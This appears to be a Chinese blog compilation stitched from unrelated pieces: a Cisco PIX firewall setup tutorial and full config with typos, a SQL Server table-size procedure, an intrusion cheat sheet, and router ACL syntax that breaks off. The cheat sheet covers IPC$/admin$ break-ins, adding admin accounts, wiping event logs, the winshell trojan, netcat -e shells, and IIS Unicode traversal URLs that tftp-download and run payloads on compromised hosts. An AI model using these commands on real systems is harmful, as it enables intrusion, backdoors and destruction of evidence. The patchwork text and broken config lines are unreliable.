配置Cisco PIX防火墙

配置Cisco PIX防火墙

任何企业安全策略的一个主要部分都是实现和维护防火墙,因此防火墙在网络安全的实现当中扮演着重要的角色。防火墙通常位于企业网络的边缘,这使得内部网络与Internet之间或者与其他外部网络互相隔离,并限制网络互访从而保护企业内部网络。设置防火墙目的都是为了在内部网与外部网之间设立唯一的通道,简化网络的安全管理。

  在众多的企业级主流防火墙中,Cisco PIX防火墙是所有同类产品性能最好的一种。Cisco PIX系列防火墙目前有5种型号PIX506,515,520,525,535。其中PIX535是PIX 500系列中最新,功能也是最强大的一款。它可以提供运营商级别的处理能力,适用于大型的ISP等服务提供商。但是PIX特有的OS操作系统,使得大多数管理是通过命令行来实现的,不象其他同类的防火墙通过Web管理界面来进行网络管理,这样会给初学者带来不便。本文将通过实例介绍如何配置Cisco PIX防火墙。

  在配置PIX防火墙之前,先来介绍一下防火墙的物理特性。防火墙通常具有至少3个接口,但许多早期的防火墙只具有2个接口;当使用具有3个接口的防火墙时,就至少产生了3个网络,描述如下:

  ? 内部区域(内网)。 内部区域通常就是指企业内部网络或者是企业内部网络的一部分。它是互连网络的信任区域,即受到了防火墙的保护。

  ? 外部区域(外网)。 外部区域通常指Internet或者非企业内部网络。它是互连网络中不被信任的区域,当外部区域想要访问内部区域的主机和服务,通过防火墙,就可以实现有限制的访问。

  ? 停火区(DMZ)。 停火区是一个隔离的网络,或几个网络。位于停火区中的主机或服务器被称为堡垒主机。一般在停火区内可以放置Web服务器,Mail服务器等。停火区对于外部用户通常是可以访问的,这种方式让外部用户可以访问企业的公开信息,但却不允许他们访问企业内部网络。注意:2个接口的防火墙是没有停火区的。

  由于PIX535在企业级别不具有普遍性,因此下面主要说明PIX525在企业网络中的应用。

  PIX防火墙提供4种管理访问模式:

  非特权模式。 PIX防火墙开机自检后,就是处于这种模式。系统显示为pixfirewall>

  特权模式。 输入enable进入特权模式,可以改变当前配置。显示为pixfirewall#

  配置模式。 输入configure terminal进入此模式,绝大部分的系统配置都在这里进行。显示为pixfirewall(config)#

  监视模式。 PIX防火墙在开机或重启过程中,按住Escape键或发送一个“Break”字符,进入监视模式。这里可以更新操作系统映象和口令恢复。显示为monitor>

  配置PIX防火墙有6个基本命令:nameif,interface,ip address,nat,global,route.

  这些命令在配置PIX是必须的。以下是配置的基本步骤:

  1. 配置防火墙接口的名字,并指定安全级别(nameif)。

Pix525(config)#nameif ethernet0 outside security0
Pix525(config)#nameif ethernet1 inside security100
Pix525(config)#nameif dmz security50

  提示:在缺省配置中,以太网0被命名为外部接口(outside),安全级别是0;以太网1被命名为内部接口(inside),安全级别是100.安全级别取值范围为1~99,数字越大安全级别越高。若添加新的接口,语句可以这样写: Pix525(config)#nameif pix/intf3 security40 (安全级别任取)

  2. 配置以太口参数(interface)

Pix525(config)#interface ethernet0 auto(auto选项表明系统自适应网卡类型 )
Pix525(config)#interface ethernet1 100full(100full选项表示100Mbit/s以太网全双工通信 )
Pix525(config)#interface ethernet1 100full shutdown (shutdown选项表示关闭这个接口,若启用接口去掉shutdown )

  3. 配置内外网卡的IP地址(ip address)

Pix525(config)#ip address outside 61.144.51.42 255.255.255.248
Pix525(config)#ip address inside 192.168.0.1 255.255.255.0
很明显,Pix525防火墙在外网的ip地址是61.144.51.42,内网ip地址是192.168.0.1

  4. 指定要进行转换的内部地址(nat)

  网络地址翻译(nat)作用是将内网的私有ip转换为外网的公有ip.Nat命令总是与global命令一起使用,这是因为nat命令可以指定一台主机或一段范围的主机访问外网,访问外网时需要利用global所指定的地址池进行对外访问。nat命令配置语法:nat (if_name) nat_id local_ip [netmark] 其中(if_name)表示内网接口名字,例如inside. Nat_id用来标识全局地址池,使它与其相应的global命令相匹配,local_ip表示内网被分配的ip地址。例如0.0.0.0表示内网所有主机可以对外访问。[netmark]表示内网ip地址的子网掩码。

  例1.Pix525(config)#nat (inside) 1 0 0 表示启用nat,内网的所有主机都可以访问外网,用0可以代表0.0.0.0

  例2.Pix525(config)#nat (inside) 1 172.16.5.0 255.255.0.0 表示只有172.16.5.0这个网段内的主机可以访问外网。

  5. 指定外部地址范围(global)

  global命令把内网的ip地址翻译成外网的ip地址或一段地址范围。Global命令的配置语法:global (if_name) nat_id ip_address-ip_address [netmark global_mask] 其中(if_name)表示外网接口名字,例如outside.。Nat_id用来标识全局地址池,使它与其相应的nat命令相匹配,ip_address-ip_address表示翻译后的单个ip地址或一段ip地址范围。[netmark global_mask]表示全局ip地址的网络掩码。

  例1. Pix525(config)#global (outside) 1 61.144.51.42-61.144.51.48
表示内网的主机通过pix防火墙要访问外网时,pix防火墙将使用61.144.51.42-61.144.51.48这段ip地址池为要访问外网的主机分配一个全局ip地址。

  例2. Pix525(config)#global (outside) 1 61.144.51.42
表示内网要访问外网时,pix防火墙将为访问外网的所有主机统一使用61.144.51.42这个单一ip地址。

  例3. Pix525(config)#no global (outside) 1 61.144.51.42
表示删除这个全局表项。

6. 设置指向内网和外网的静态路由(route)

  定义一条静态路由。route命令配置语法:route (if_name) 0 0 gateway_ip [metric] 其中(if_name)表示接口名字,例如inside,outside。Gateway_ip表示网关路由器的ip地址。[metric]表示到gateway_ip的跳数。通常缺省是1。

  例1. Pix525(config)#route outside 0 0 61.144.51.168 1
表示一条指向边界路由器(ip地址61.144.51.168)的缺省路由。

  例2. Pix525(config)#route inside 10.1.1.0 255.255.255.0 172.16.0.1 1
Pix525(config)#route inside 10.2.0.0 255.255.0.0 172.16.0.1 1

  如果内部网络只有一个网段,按照例1那样设置一条缺省路由即可;如果内部存在多个网络,需要配置一条以上的静态路由。上面那条命令表示创建了一条到网络10.1.1.0的静态路由,静态路由的下一条路由器ip地址是172.16.0.1

  OK,这6个基本命令若理解了,就可以进入到pix防火墙的一些高级配置了。

  A. 配置静态IP地址翻译(static)

  如果从外网发起一个会话,会话的目的地址是一个内网的ip地址,static就把内部地址翻译成一个指定的全局地址,允许这个会话建立。static命令配置语法:static (internal_if_name,external_if_name) outside_ip_address inside_ ip_address 其中internal_if_name表示内部网络接口,安全级别较高。如inside. external_if_name为外部网络接口,安全级别较低。如outside等。outside_ip_address为正在访问的较低安全级别的接口上的ip地址。inside_ ip_address为内部网络的本地ip地址。

  例1. Pix525(config)#static (inside, outside) 61.144.51.62 192.168.0.8
表示ip地址为192.168.0.8的主机,对于通过pix防火墙建立的每个会话,都被翻译成61.144.51.62这个全局地址,也可以理解成static命令创建了内部ip地址192.168.0.8和外部ip地址61.144.51.62之间的静态映射。

  例2. Pix525(config)#static (inside, outside) 192.168.0.2 10.0.1.3

  例3. Pix525(config)#static (dmz, outside) 211.48.16.2 172.16.10.8

  注释同例1。通过以上几个例子说明使用static命令可以让我们为一个特定的内部ip地址设置一个永久的全局ip地址。这样就能够为具有较低安全级别的指定接口创建一个入口,使它们可以进入到具有较高安全级别的指定接口。

  B. 管道命令(conduit)

  前面讲过使用static命令可以在一个本地ip地址和一个全局ip地址之间创建了一个静态映射,但从外部到内部接口的连接仍然会被pix防火墙的自适应安全算法(ASA)阻挡,conduit命令用来允许数据流从具有较低安全级别的接口流向具有较高安全级别的接口,例如允许从外部到DMZ或内部接口的入方向的会话。对于向内部接口的连接,static和conduit命令将一起使用,来指定会话的建立。

  conduit命令配置语法:

conduit permit | deny global_ip port[-port] protocol foreign_ip [netmask]
permit | deny 允许 | 拒绝访问 global_ip 指的是先前由global或static命令定义的全局ip地址,如果global_ip为0,就用any代替0;如果global_ip是一台主机,就用host命令参数。port 指的是服务所作用的端口,例如www使用80,smtp使用25等等,我们可以通过服务名称或端口数字来指定端口。protocol 指的是连接协议,比如:TCP、UDP、ICMP等。foreign_ip 表示可访问global_ip的外部ip。对于任意主机,可以用any表示。如果foreign_ip是一台主机,就用host命令参数。

  例1. Pix525(config)#conduit permit tcp host 192.168.0.8 eq www any
这个例子表示允许任何外部主机对全局地址192.168.0.8的这台主机进行http访问。其中使用eq和一个端口来允许或拒绝对这个端口的访问。Eq ftp 就是指允许或拒绝只对ftp的访问。

  例2. Pix525(config)#conduit deny tcp any eq ftp host 61.144.51.89 表示不允许外部主机61.144.51.89对任何全局地址进行ftp访问。

  例3. Pix525(config)#conduit permit icmp any any 表示允许icmp消息向内部和外部通过。

  例4. Pix525(config)#static (inside, outside) 61.144.51.62 192.168.0.3 Pix525(config)#conduit permit tcp host 61.144.51.62 eq www any

  这个例子说明static和conduit的关系。192.168.0.3在内网是一台web服务器,现在希望外网的用户能够通过pix防火墙得到web服务。所以先做static静态映射:192.168.0.3->61.144.51.62(全局),然后利用conduit命令允许任何外部主机对全局地址61.144.51.62进行http访问。
C. 配置fixup协议

  fixup命令作用是启用,禁止,改变一个服务或协议通过pix防火墙,由fixup命令指定的端口是pix防火墙要侦听的服务。见下面例子:

  例1. Pix525(config)#fixup protocol ftp 21
  启用ftp协议,并指定ftp的端口号为21

  例2. Pix525(config)#fixup protocol http 80
  Pix525(config)#fixup protocol http 1080 为http协议指定80和1080两个端口。

  例3. Pix525(config)#no fixup protocol smtp 80
  禁用smtp协议。

  D. 设置telnet

  telnet有一个版本的变化。在pix OS 5.0(pix操作系统的版本号)之前,只能从内部网络上的主机通过telnet访问pix。在pix OS 5.0及后续版本中,可以在所有的接口上启用telnet到pix的访问。当从外部接口要telnet到pix防火墙时,telnet数据流需要用ipsec提供保护,也就是说用户必须配置pix来建立一条到另外一台pix,路由器或vpn客户端的ipsec隧道。另外就是在PIX上配置SSH,然后用SSH client从外部telnet到PIX防火墙,PIX支持SSH1和SSH2,不过SSH1是免费软件,SSH2是商业软件。相比之下cisco路由器的telnet就作的不怎么样了。

  telnet配置语法:telnet local_ip [netmask] local_ip 表示被授权通过telnet访问到pix的ip地址。如果不设此项,pix的配置方式只能由console进行。

  说了这么多,下面给出一个配置实例供大家参考。

Welcome to the PIX firewall

Type help or '?' for a list of available commands.
PIX525> en
Password:
PIX525#sh config
: Saved
:
PIX Version 6.0(1) —— PIX当前的操作系统版本为6.0
Nameif ethernet0 outside security0
Nameif ethernet1 inside security100 —— 显示目前pix只有2个接口
Enable password 7Y051HhCcoiRTSQZ encrypted
Passed 7Y051HhCcoiRTSQZ encrypted —— pix防火墙密码在默认状态下已被加密,在配置文件中不会以明文显示,telnet 密码缺省为cisco
Hostname PIX525 —— 主机名称为PIX525
Domain-name 123.com —— 本地的一个域名服务器123.com,通常用作为外部访问
Fixup protocol ftp 21
Fixup protocol http 80
fixup protocol h323 1720
fixup protocol rsh 514
fixup protocol smtp 25
fixup protocol sqlnet 1521
fixup protocol sip 5060 —— 当前启用的一些服务或协议,注意rsh服务是不能改变端口号
names —— 解析本地主机名到ip地址,在配置中可以用名字代替ip地址,当前没有设置,所以列表为空
pager lines 24 —— 每24行一分页
interface ethernet0 auto
interface ethernet1 auto —— 设置两个网卡的类型为自适应
mtu outside 1500
mtu inside 1500 —— 以太网标准的MTU长度为1500字节

ip address outside 61.144.51.42 255.255.255.248
ip address inside 192.168.0.1 255.255.255.0 —— pix外网的ip地址61.144.51.42,内网的ip地址192.168.0.1
ip audit info action alarm
ip audit attack action alarm —— pix入侵检测的2个命令。当有数据包具有攻击或报告型特征码时,pix将采取报警动作(缺省动作),向指定的日志记录主机产生系统日志消息;此外还可以作出丢弃数据包和发出tcp连接复位信号等动作,需另外配置。
pdm history enable —— PIX设备管理器可以图形化的监视PIX
arp timeout 14400 —— arp表的超时时间
global (outside) 1 61.144.51.46 —— 如果你访问外部论坛或用QQ聊天等等,上面显示的ip就是这个
nat (inside) 1 0.0.0.0 0.0.0.0 0 0
static (inside, outside) 61.144.51.43 192.168.0.8 netmask 255.255.255.255 0 0
conduit permit icmp any any
conduit permit tcp host 61.144.51.43 eq www any
conduit permit udp host 61.144.51.43 eq domain any
—— 用61.144.51.43这个ip地址提供domain-name服务,而且只允许外部用户访问domain的udp端口
route outside 0.0.0.0 0.0.0.0 61.144.51.61 1 —— 外部网关61.144.51.61
timeout xlate 3:00:00 —— 某个内部设备向外部发出的ip包经过翻译(global)后,在缺省3个小时之后此数据包若没有活动,此前创建的表项将从翻译表中删除,释放该设备占用的全局地址
timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 rpc 0:10:00 h323 0:05:00 sip 0:30:00 sip_media 0:02:00
timeout uauth 0:05:00 absolute —— AAA认证的超时时间,absolute表示连续运行uauth定时器,用户超时后,将强制重新认证
aaa-server TACACS+ protocol tacacs+
aaa-server RADIUS protocol radius —— AAA服务器的两种协议。AAA是指认证,授权,审计。Pix防火墙可以通过AAA服务器增加内部网络的安全
no snmp-server location
no snmp-server contact
snmp-server community public —— 由于没有设置snmp工作站,也就没有snmp工作站的位置和联系人
no snmp-server enable traps —— 发送snmp陷阱
floodguard enable —— 防止有人伪造大量认证请求,将pix的AAA资源用完
no sysopt route dnat
telnet timeout 5
ssh timeout 5 —— 使用ssh访问pix的超时时间
terminal width 80
Cryptochecksum:a9f03ba4ddb72e1ae6a543292dd4f5e7
PIX525#
PIX525#write memory —— 将配置保存

  上面这个配置实例需要说明一下,pix防火墙直接摆在了与internet接口处,此处网络环境有十几个公有ip,可能会有朋友问如果我的公有ip很有限怎么办?你可以添加router放在pix的前面,或者global使用单一ip地址,和外部接口的ip地址相同即可。另外有几个维护命令也很有用,show interface查看端口状态,show static查看静态地址映射,show ip查看接口ip地址,ping outside | inside ip_address确定连通性。

  本文只是对pix防火墙的基本配置做了相关描述,pix其他的一些功能例如AAA服务器,vpn等等限于篇幅,不再一一介绍。希望本文能够抛砖引玉,若有兴趣的读者可以访问以下资源:
http://www.cisco.com/global/CN/products/sc/index.shtml pix防火墙中文资料
http://www.cisco.com/en/US/products…ons_guides.html pix防火墙英文官方网站,详细的技术资料
http://www.net130.com/ccnp-labs 一个不错的pix在线实验

Cisco _PIX525_config

Cisco _PIX525_config

完整的pix525配置

PIX Version 6.3(3)
interface ethernet0 100full
interface ethernet1 100full
interface gb-ethernet0 1000auto
interface gb-ethernet1 1000auto
nameif ethernet0 cimo security10
nameif ethernet1 intf3 security15
nameif gb-ethernet0 outside security0
nameif gb-ethernet1 inside security100
enable password 52network encrypted
passwd 52network encrypted
hostname PIX-A
domain-name 52network.com
配置接口名称,安全级别,主机名,使用的域名

fixup protocol dns maximum-length 512
fixup protocol ftp 21
fixup protocol h323 h225 1720
fixup protocol h323 ras 1718-1719
fixup protocol http 80
fixup protocol ils 389
fixup protocol rsh 514
fixup protocol rtsp 554
fixup protocol sip 5060
fixup protocol skinny 2000
fixup protocol smtp 25
fixup protocol splnet 1521
fixup protocoltftp 69
names
access-list inside_outbound_nat0_acl permit ip 202.102.54.0 255.255.255.0 10.0.1.0 255.255.255.0
access-list outside_cryptomap_20 permit ip 202.102.54.0 255.255.255.0 10.0.1.0 255.255.255.0
配置PIX允许的协议类型,要加密保护的数据流量

pager lines 24
logging timestamp
logging standby
logging trap informational
logging facility 22
logging host inside 202.102.54.5
mtu cimo 1500
mtu intf3 1500
mtu outside 1500
mtu inside 1500
ip address cimo 192.168.0.1 255.255.255.252
ip address intf3 127.0.0.1 255.255.255.255
ip address outside 202.102.53.6 255.255.255.0
ip address inside 202.102.54.1 255.255.255.248
ip audit info action alarm
ip audit attack action alarm
failover
failover timeout 0:00:00
failover poll 15
failover replication http
failover ip address shaying 192.168.0.2
failover ip address intf3 127.0.0.2
failover ip address outside 202.102.53.69
failover ip address inside 202.102.54.3
failover link shaying
设置日志服务器,PIX各接口的IP地址,PIX设备的故障切换功能

pdm location 219.238.213.192 255.255.255.192 outside
pdm location 202.102.54.0 255.255.255.0 inside
pdm location 202.102.54.28 255.255.255.255 inside
pdm location 202.102.54.88 255.255.255.255 inside
pdm location 202.102.54.89 255.255.255.255 inside
pdm location 202.102.54.90 255.255.255.255 inside
pdm location 202.102.54.208 255.255.255.240 inside
pdm location 202.102.54.48 255.255.255.240 outside
pdm location 202.102.54.48 255.255.255.240 inside
pdm location 202.102.54.128 255.255.255.240 inside
pdm location 219.238.213.245 255.255.255.255 outside
pdm location 10.0.0.0 255.255.255.0 outside
pdm location 10.0.1.0 255.255.255.0 outside
pdm location 202.102.54.208 255.255.255.240 outside
pdm location 172.16.201.0 255.255.255.0 inside
pdm location 202.102.54.0 255.255.255.0 outside
pdm location 219.239.218.192 255.255.255.192 outside
pdm location 219.238.218.248 255.255.255.255 outside
pdm location 219.238.218.241 255.255.255.255 outside
pdm logging information 100
no pdm history enable
arp timeout 14400
配置能通过WEB界面管理PIX设备的工作站。

nat (inside) 0 access-list inside_outbound_nat0_acl
nat (inside)0 202.102.54.0 255.255.255.0 0 0
static (inside,outside) 202.102.54.0 202.102.54.0 netmask 255.255.255.0 0 0
conduit permit tcp 202.102.54.208 255.255.255.240 ep www any
conduit permit udp 202.102.54.208 255.255.255.240 ep domain any
conduit permit tcp host 202.102.54.33 eq 15000 any
conduit permit tcp host 202.102.54.34 eq 15010 any
conduit permit tcp host 202.102.54.33 eq 15010 any
conduit permit tcp host 202.102.54.34 eq 15020 any
conduit permit tcp host 202.102.54.33 eq 15010 any
conduit permit tcp host 202.102.54.34 eq 15000 any
conduit permit tcp host 202.102.54.212 eq 1433 220.168.249.64 255.255.255.192
conduit permit tcp host 202.102.54.213 eq 1433 220.168.249.64 255.255.255.192
conduit permit tcp host 202.102.54.60 eq 1433 220.168.249.64 255.255.255.192
conduit permit ip host 202.102.54.35 220.168.249.64 255.255.255.192
conduit permit tcp host 202.102.54.214 eq 1433 host 220.168.249.100
conduit permit tcp host 202.102.54.214 eq ftp host 220.168.249.100
conduit permit tcp host 202.102.54.131 eq 1433 220.168.249.64 255.255.255.192
conduit permit tcp host 202.102.54.216 eq ftp host 220.168.249.92
conduit permit tcp host 202.102.54.213 eq 81 host 220.168.249.101
conduit permit ip host 202.102.54.137 host 220.168.249.100
conduit permit tcp host 202.102.54.133 eq www any
conduit permit tcp host 202.102.54.132 eq smtp any
conduit permit tcp host 202.102.54.132 eq www any
conduit permit tcp host 202.102.54.134 eq ftp any
conduit permit tcp host 202.102.54.132 eq pop3 any
conduit permit tcp host 202.102.54.210 eq ftp any
conduit permit tcp host 202.102.54.102 eq www any
conduit permit tcp host 202.102.54.216 eq www any
conduit permit tcp host 202.102.54.217 eq www any
conduit permit tcp host 202.102.54.134 eq www any
conduit permit tcp host 202.102.54.84 eq 10100 any
conduit permit tcp host 202.102.54.221 eq www any
conduit permit tcp host 202.102.54.68 eq 10100 any
conduit permit tcp host 202.102.54.213 eq 4662 any
conduit permit tcp host 202.102.54.213 eq 4672 any
conduit permit tcp host 202.102.54.68 eq 4662 any
conduit permit tcp host 202.102.54.68 eq 4672 any
conduit permit tcp host 202.102.54.213 eq www any
conduit permit tcp host 202.102.54.221 eq ftp any
conduit permit tcp 202.102.54.48 255.255.255.240 eq 1000 any
conduit permit tcp 202.102.54.64 255.255.255.240 eq 1000 any
conduit permit tcp 202.102.54.80 255.255.255.240 eq 1000 any
conduit deny ip 202.102.54.0 255.255.255.0 63.0.0.0 255.0.0.0
conduit deny ip 202.102.54.0 255.255.255.0 210.92.0.0 255.255.0.0
conduit permit tcp 202.102.54.0 255.255.255.0 eq ftp host 219.239.218.250
conduit permit tcp 202.102.54.0 255.255.255.0 eq 37631 host 219.239.218.250
conduit permit udp 202.102.54.0 255.255.255.0 eq 37632 host 219.239.218.250
conduit permit tcp 202.102.54.0 255.255.255.0 eq 1433 host 219.239.218.250
conduit permit tcp 202.102.54.0 255.255.255.0 eq ssh host 219.238.218.250
conduit permit tcp 202.102.54.0 255.255.255.0 eq 11050 host 219.238.218.250
conduit permit tcp host 202.102.54.131 eq 8294 host 219.239.218.250
conduit permit tcp host 202.102.54.131 eq 3389 host 219.238.218.250
conduit permit tcp 202.102.54.0 255.255.255.0 eq 8080 hsot 219.238.218.250
conduit permit tcp host 202.102.54.134 range 1500 1600 any
conduit permit udp host 202.102.54.134 range 1500 1600 any
conduit permit udp host 202.102.54.134 range 4000 6000 any
conduit permit tcp host 202.202.54.134 range 4000 6000 any
conduit permit ip 202.102.54.0 255.255.255.o host 219.238.218.246
conduit permit ip 202.102.54.0 255.255.255.o host 219.238.218.248
conduit permit ip 202.102.54.0 255.255.255.o host 219.238.218.249
conduit permit ip 202.102.54.0 255.255.255.o host 219.238.218.250
conduit permit ip any host 219.234.81.66
conduit permit tcp host 202.102.54.75 range 8881 9999 any
route outside 0.0.0.0 0.0.0.0 202.102.53.65 1
route inside 202.102.54.0 255.255.255.0 202.102.54.2 1
配置地址转换,静态路由,双向访问列表,用ACL也可做。

timeout xlate 3:00:00
timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 rpc 0:10:00 h225 1:00:00
timeout h323 0:05:00 mgcp 0:05:00 sip 0:30:00 sip_media 0:02:00
timeout uauth 0:05)00 absolute
aaa-server TACACS+ protocol tacacs+
aaa-server RADIUS protocol raduis
aaa-sever LOCAL protocol local
http server enable
http 220.168.249.102 255.255.255.255 outside
http 219.238.218.192 255.255.255.192 outside
no snmp-server location
no snmp-server contact
snmp-server community public
no snmp-server enable traps
floodguard enable
sysopt connection permit-ipsec
crypto ipsec transform-set ESP-3DES-MD5 esp -3des esp -md5-hmac
crypto map outside_map 20 ipsec-isakmp
crypto map outside_map 20 match address outside_cryptomap_20
crypto map outside_map 20 set peer 219.239.218.247
crypto map outside_map 20 set transform-set ESP-3DES-MD5
crypto map outside_map interface outside
配置IPSEC,在PIX上设置加密算法,加密的接口

isakmp enable outside
isakmp  key 52network address 219.239.218.247 netmask 255.255.255.255 no-xauth no-config-mode
isakmp identity address
isakmp policy 20 authentication pre-share
isakmp policy 20 encryption 3des
isakmp policy 20 hash md5
isakmp policy 20 group 2
isakmp policy 20 lifetime 28800
配置IKE,指定认证的方式为PRE-SHARE。

telnet timeout 15
ssh 220.168.249.105 255.255.255.255 outside
ssh 219.238.218.192 255.255.255.192 outside
ssh 202.102.54.0 255.255.255.0 inside
ssh timeout 15
console timeout 0
terminal width 80
banner exec welcome
banner login XXXX Login
cryptochecksum:**********************
:end

how to get the space size of some tables in one database?

如何获取SQL Server数据库里表的占用容量大小?

其实只要使用系统内置的存储过程sp_spaceused就可以得到表的相关信息

如:sp_spaceused 'tablename'

step 1:先写一个存储过程,把当前的所有表的相关信息全部都保存在一个指定的表里面

CREATE PROCEDURE get_tableinfo AS

if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[tablespaceinfo]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
create table  tablespaceinfo                         –创建结果存储表
             (nameinfo varchar(50) ,  
              rowsinfo int , reserved varchar(20) ,  
              datainfo varchar(20)  ,  
              index_size varchar(20) ,  
              unused varchar(20) )

delete from tablespaceinfo –清空数据表

declare @tablename varchar(255)  –表名称

declare @cmdsql varchar(500)

DECLARE Info_cursor CURSOR FOR  
select o.name  
from dbo.sysobjects o where OBJECTPROPERTY(o.id, N'IsTable') = 1  
    and o.name not like N'#%%'  order by o.name

OPEN Info_cursor

FETCH NEXT FROM Info_cursor  
INTO @tablename  

WHILE @@FETCH_STATUS = 0
BEGIN

 if exists (select * from dbo.sysobjects where id = object_id(@tablename) and OBJECTPROPERTY(id, N'IsUserTable') = 1)
 execute sp_executesql  
        N'insert into tablespaceinfo  exec sp_spaceused @tbname',
         N'@tbname varchar(255)',
         @tbname = @tablename

 FETCH NEXT FROM Info_cursor  
 INTO @tablename  
END

CLOSE Info_cursor
DEALLOCATE Info_cursor
GO

step 2:执行存储过程
exec get_tableinfo

查询运行该存储过程后得到的结果
select *
from tablespaceinfo  
order by cast(left(ltrim(rtrim(reserved)) , len(ltrim(rtrim(reserved)))-2) as int) desc

常用的Net Command

常用的几条NET命令:
==================================================
(与远程主机建立空管连接) net use IP地址ipc$ "" /use:"" (以管理员身份登录远程主机) net use IP地址ipc$ "密码" /use:"Administrator" (传送文件到远程主机WINNT目录下)copy 本机目录路径程序 IP地址admin$ (查看远程主机时间) net time IP地址 (定时启动某个程序) at IP地址 02:18 readme.exe (查看共享) net view IP地址 (查看netbios工作组列表) nbtstat -A IP地址 (将远程主机C盘映射为自己的F盘) net use f: IP地址c$ ""/user:"Administrator" (这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup Administrators
用户名 /add (断开连接) net use IP地址ipc$ /delete
=====================================================
擦屁屁:
del C:winntsystem32logfiles*.*
del C:winntssytem32config*.evt
del C:winntsystem32dtclog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log
============================
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list IP
地址
netsvc schedule IP
地址 /query
netsvc IP
地址 schedule /start

二、OpenTelnet.exe
远程启动主机的Telnet服务,并绑定端口到7878,例如:
OpenTelnet IP
地址 用户名 密码 1 7878 然后就可以telnet到主机的7878端口,进入DOS方式下:
telnet IP
地址 7878

三、winshell.exe
一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
p Path
(查看winshell主程序的路径信息)
b reBoot
(重新启动机器)
d shutDown
(关闭机器)
s Shell
(执行后你就会看到可爱的“C:>”)
x eXit
(退出本次登录会话,此命令并不终止winshell的运行)
CMD>http://…/srv.exe
(通过http下载其他网站上的文件到运行winshell的机器上)

四、3389登陆器,GUI方式登录远程主机的

五、elsave.exe
事件日志清除工具
elsave -s IP
地址 -l "application" -C
elsave -s IP
地址 -l "system" -C
elsave -s IP
地址 -l "security" -C 执行后成功清除应用程序日志,系统日志,安全日志

六、hbulot.exe
开启win2kserverwinxp3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。

七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。 想要连接到某处: nc [-options] hostname port[s] [ports] … 绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数:
-e prog
程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h
帮助信息
-i secs
延时的间隔
-l
监听模式,用于入站连接
-n
指定数字的IP地址,不能用hostname
-o file
记录16进制的传输
-p port
本地端口号
-r
任意指定本地及远程端口
-s addr
本地源地址
-u UDP
模式
-v
详细输出——用两个-v可得到更详细的内容
-w secs timeout
的时间
-z
将输入输出关掉——用于扫描时

八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
http://IP
地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名 然后可以直接令文件运行:
http://IP
地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

九、prihack.exeIISprinter远程缓冲区溢出工具。idqover.exe是溢出idq的,选择溢出后在一个端口监听,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp

一○、ntis.execmd.execmdasp.asp是三个cgi-backdoorexe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。

一、一 Xscan命令行运行参数说明:
在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按"<ctrl+c>"强行关闭程序。

1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
xscan -file <
主机列表文件名> <检测项目> [其他选项]
其中<检测项目> 含义如下:
-port :
检测常用服务的端口状态(可通过datconfig.ini文件的"PORT-SCAN-OPTIONSPORT-LIST"项定制待检测端口列表)
-ftp :
检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)
-ntpass :
检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)
-cgi :
检测CGI漏洞(可通过datconfig.ini文件的"CGI-ENCODEencode_type"项设置编码方案)
-iis :
检测IIS漏洞(可通过datconfig.ini文件的"CGI-ENCODEencode_type"项设置编码方案)

[其他选项] 含义如下:
-v:
显示详细扫描进度
-p:
跳过Ping不通的主机
-o:
跳过没有检测到开放端口的主机
-t <
并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10

路由器防火墙配置命令

一、access-list 用于创建访问规则。
   
    (1)创建标准访问列表
   
    access-list [ normal | special ] listnumber1 { permit | deny } source-addr [ source-mask ]
   
    (2)创建扩展访问列表
   
    access-list [ normal | special ] listnumber2 { permit | deny } protocol source-addr source-mask [ operator port1 [ port2 ] ] dest-addr dest-mask [ operator port1 [ port2 ] | icmp-type [ icmp-code ] ] [ log ]
   
    (3)删除访问列表
   
    no access-list { normal | special } { all | listnumber [ subitem ] }
   
    【参数说明】
   
    normal 指定规则加入普通时间段。
   
    special 指定规则加入特殊时间段。
   
    listnumber1 是1到99之间的一个数值,表示规则是标准访问列表规则。
   
    listnumber2 是100到199之间的一个数值,表示规则是扩展访问列表规则。
   
    permit 表明允许满足条件的报文通过。
   
    deny 表明禁止满足条件的报文通过。
   
    protocol 为协议类型,支持ICMP、TCP、UDP等,其它的协议也支持,此时没有端口比较的概念;为IP时有特殊含义,代表所有的IP协议。
   
    source-addr 为源地址。
   
    source-mask 为源地址通配位,在标准访问列表中是可选项,不输入则代表通配位为0.0.0.0。
   
    dest-addr 为目的地址。
   
    dest-mask 为目的地址通配位。
   
    operator[可选] 端口操作符,在协议类型为TCP或UDP时支持端口比较,支持的比较操作有:等于(eq)、大于(gt)、小于(lt)、不等于(neq)或介于(range);如果操作符为range,则后面需要跟两个端口。
   
    port1 在协议类型为TCP或UDP时出现,可以为关键字所设定的预设值(如telnet)或0~65535之间的一个数值。
   
    port2 在协议类型为TCP或UDP且操作类型为range时出现;可以为关键字所设定的预设值(如telnet)或0~65535之间的一个数值。
   
